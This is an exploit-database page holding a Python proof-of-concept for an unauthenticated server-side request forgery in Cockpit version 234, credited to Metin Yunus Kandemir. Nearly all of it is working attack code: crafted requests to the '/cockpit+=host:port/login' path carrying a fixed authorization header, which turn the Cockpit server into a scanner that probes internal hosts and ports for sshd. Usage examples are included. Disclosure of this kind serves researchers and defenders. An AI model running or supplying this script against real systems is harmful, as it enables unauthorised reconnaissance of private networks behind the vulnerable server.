Cockpit version 234 serverside request forgery (unauthenticated) Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2021-01-08 | Type : webapps | Platform : multiple
This exploit / vulnerability Cockpit version 234 serverside request forgery (unauthenticated) is for educational purposes only and if it is used you will do on your own risk!

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# Exploit Title: Cockpit Version 234 - Server-Side Request Forgery (Unauthenticated)
# Date: 08.01.2021
# Exploit Author: Metin Yunus Kandemir
# Vendor Homepage: https://cockpit-project.org/
# Version: v234
# Tested on: Ubuntu 18.04

#!/usr/bin/python3
import argparse
import requests
import sys
import urllib3
import time
from colorama import Fore, Style
from argparse import ArgumentParser, Namespace
from bs4 import BeautifulSoup

"""
Example scanning for internal server:
python3 PoC.py --target 192.168.1.33:9090 --scan 172.16.16.16 --ports 21,22,23
Example scanning for loopback interface of server:
python3 PoC.py --target 192.168.1.33:9090
Description : https://github.com/passtheticket/vulnerability-research/tree/main/cockpitProject/README.md
"""

def main():
dsc = "Cockpit Version 234 - sshd Service Scanning via Server-Side Request Forgery (Unauthenticated)"
parser: ArgumentParser = argparse.ArgumentParser(description=dsc)
parser.add_argument("--target", help="IP address of Cockpit server", type=str, required=True)
parser.add_argument("--scan", help="IP address of server that will be scanned", type=str, required=False)
parser.add_argument("--ports", help="Ports (example: 21,22)", type=str, required=False)
args: Namespace = parser.parse_args()

if args.target:
target = args.target
if args.scan:
scan = args.scan
if args.ports:
ports = args.ports
else:
ports = "22"
else:
scan = "127.0.0.1"
if args.ports:
ports = args.ports
else:
ports = "22"
cockpitReq(target, scan, ports)

def cockpitReq(target, scan, ports):
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
portRange = ports.split(",")
for unsafe in portRange:
headers = {
"Host": str(target),
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0",
"Accept": "*/*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Authorization": "Basic dW5zYWZlOmlubGluZQ==",
"X-Authorize": "",
"Connection": "close",
"Cookie": "cockpit=deleted",
}
req = requests.get("http://" + target + "/cockpit+=" + scan + ":" + unsafe + "/login", headers, verify=False)
time.sleep(2)
soup = BeautifulSoup(req.text, 'html.parser')
responseCode = req.status_code
responseTime = str(req.elapsed)

if responseCode == 404:
print("Cockpit server was not found!")
elif responseCode == 401:
if soup.title.string == "Authentication failed":
print(Fore.GREEN + Style.BRIGHT + "[+] Port: "+ unsafe + " sshd service is detected!")
elif soup.title.string == "Authentication failed: no-host":
if responseTime > "0:00:10.000000":
print(Fore.GREEN + Style.BRIGHT +"[-] Port: "+ unsafe + " is open, sshd service is not detected!")
else:
print(Fore.RED + Style.BRIGHT +"[-] Port: "+ unsafe + " sshd service is not detected!")
else:
print(Fore.RED + Style.BRIGHT +"[-] Error is occured!")
print("[-] One bad day!")
sys.exit(1)
else:
print("Something went wrong!")

main()